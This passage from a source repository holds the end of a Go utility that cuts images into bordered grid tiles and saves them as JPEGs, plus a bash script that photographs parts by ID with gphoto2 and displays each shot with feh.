53 | ydivs := flag.Int("ydiv", 5, "Divisions in Y direction")
54 | border_percent := flag.Int("border_percent", 5,
55 | "Percent of border removed")
56 | out_dir := flag.String("out_dir", "out", "Output directory")
57 |
58 | flag.Parse()
59 | if *border_percent < 0 || *border_percent > 50 {
60 | usage("--border_percent needs to be less than 50%")
61 | }
62 |
63 | if len(flag.Args()) == 0 {
64 | usage("Expected images")
65 | }
66 |
67 | if err := os.MkdirAll(*out_dir, 0755); err != nil {
68 | log.Fatalf("Can't create output directory %s", err)
69 | }
70 |
71 | for _, input_filename := range flag.Args() {
72 | base := path.Base(input_filename)
73 | box_id := string(base[0 : len(base)-len(path.Ext(input_filename))])
74 | reader, err := os.Open(input_filename)
75 | if err != nil {
76 | log.Printf("Issue opening %s: %s", input_filename, err)
77 | continue
78 | }
79 | defer reader.Close()
80 | m, _, err := image.Decode(reader)
81 | if err != nil {
82 | log.Fatal(err)
83 | }
84 | bounds := m.Bounds()
85 | width := bounds.Max.X - bounds.Min.X
86 | height := bounds.Max.Y - bounds.Min.Y
87 | div_width := width / *xdivs
88 | div_height := height / *ydivs
89 | cut_w := div_width * *border_percent / 100
90 | cut_h := div_height * *border_percent / 100
91 | log.Printf("imagelet size: %dx%d [border: %dx%d]", div_width, div_height, cut_w, cut_h)
92 | for x := 0; x < *xdivs; x++ {
93 | for y := 0; y < *ydivs; y++ {
94 | subimage := NewSubImage(m,
95 | image.Rect(x*div_width+cut_w, y*div_height+cut_h,
96 | (x+1)*div_width-cut_w, (y+1)*div_height-cut_h))
97 | name := fmt.Sprintf("%s/%s:%c%d.jpg", *out_dir, box_id, y+'A', x+1)
98 | log.Println(name)
99 | writer, err := os.OpenFile(name, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0644)
100 | if err != nil {
101 | log.Fatal(err)
102 | }
103 | defer writer.Close()
104 | err = jpeg.Encode(writer, subimage, nil)
105 | if err != nil {
106 | log.Fatal(err)
107 | }
108 | }
109 | }
110 | }
111 | }
112 |
--------------------------------------------------------------------------------
/utils/take-pictures.sh:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env bash
2 | ##
3 |
4 | if [ $# -ne 1 ]; then
5 | echo "Usage: $0 "
6 | echo
7 | echo "Connects to locally attached camera and takes pictures,"
8 | echo "storing the result in a directory"
9 | exit 1
10 | fi
11 |
12 | FEH_GEOMETRY=2000x1338+560+0
13 | FEH_GEOMETRY_SMALL=1000x670+0+0
14 |
15 | RESULT_DIR=$1
16 | if [ ! -d ${RESULT_DIR} ]; then
17 | echo "${RESULT_DIR} is not a directory. Please create that first"
18 | exit 1
19 | fi
20 | ID=""
21 |
22 | TMP_PART=/tmp/part-no.$$
23 | FEH_PICTURE=/tmp/feh-pic-$$.jpg
24 |
25 | # Our constant process showing images. Makeing it auto-reload.
26 | ln -sf $(realpath $(dirname $0)/../img/placeholder.jpg) $FEH_PICTURE
27 | feh -g $FEH_GEOMETRY -R 0.2 "$FEH_PICTURE" &
28 |
29 | mkdir -p $RESULT_DIR
30 |
31 | while : ; do
32 | # Getting a valid part id
33 | while : ; do
34 | dialog --inputbox "Part ID" 10 20 "$ID" 2> $TMP_PART
35 | if [ $? -ne 0 ] ; then
36 | echo "Exit"
37 | exit
38 | fi
39 | ID=$(< $TMP_PART)
40 | if [ ! -z "$ID" ] ; then
41 | break
42 | fi
43 | done
44 |
45 | # Display if available
46 | PIC_NAME="${RESULT_DIR}/${ID}.jpg"
47 | if [ -e "$PIC_NAME" ] ; then
48 | ln -sf $(realpath "$PIC_NAME") $FEH_PICTURE
49 | dialog --yesno "$PIC_NAME already exists.\nOverwrite ?" 10 30
50 | if [ $? -ne 0 ] ; then
51 | continue
52 | fi
53 | fi
54 |
55 | # apparently we have to make sure that everything is deleted
56 | # on the camera before, otherwise we sometimes get the previous
57 | # image.
58 | gphoto2 -D && gphoto2 --capture-image-and-download
59 | if [ $? -ne 0 ] ; then
60 | echo "Can't take picture. Camera connected ?"
61 | break;
62 | fi
63 | mv capt0000.jpg "$PIC_NAME"
64 | ln -sf $(realpath "$PIC_NAME") "$FEH_PICTURE"
65 |
66 | # Be helpful and increment
67 | ID=$[$ID + 1]
68 | done
69 |
70 | rm "${TMP_PART}" "${FEH_PICTURE}"
71 |
--------------------------------------------------------------------------------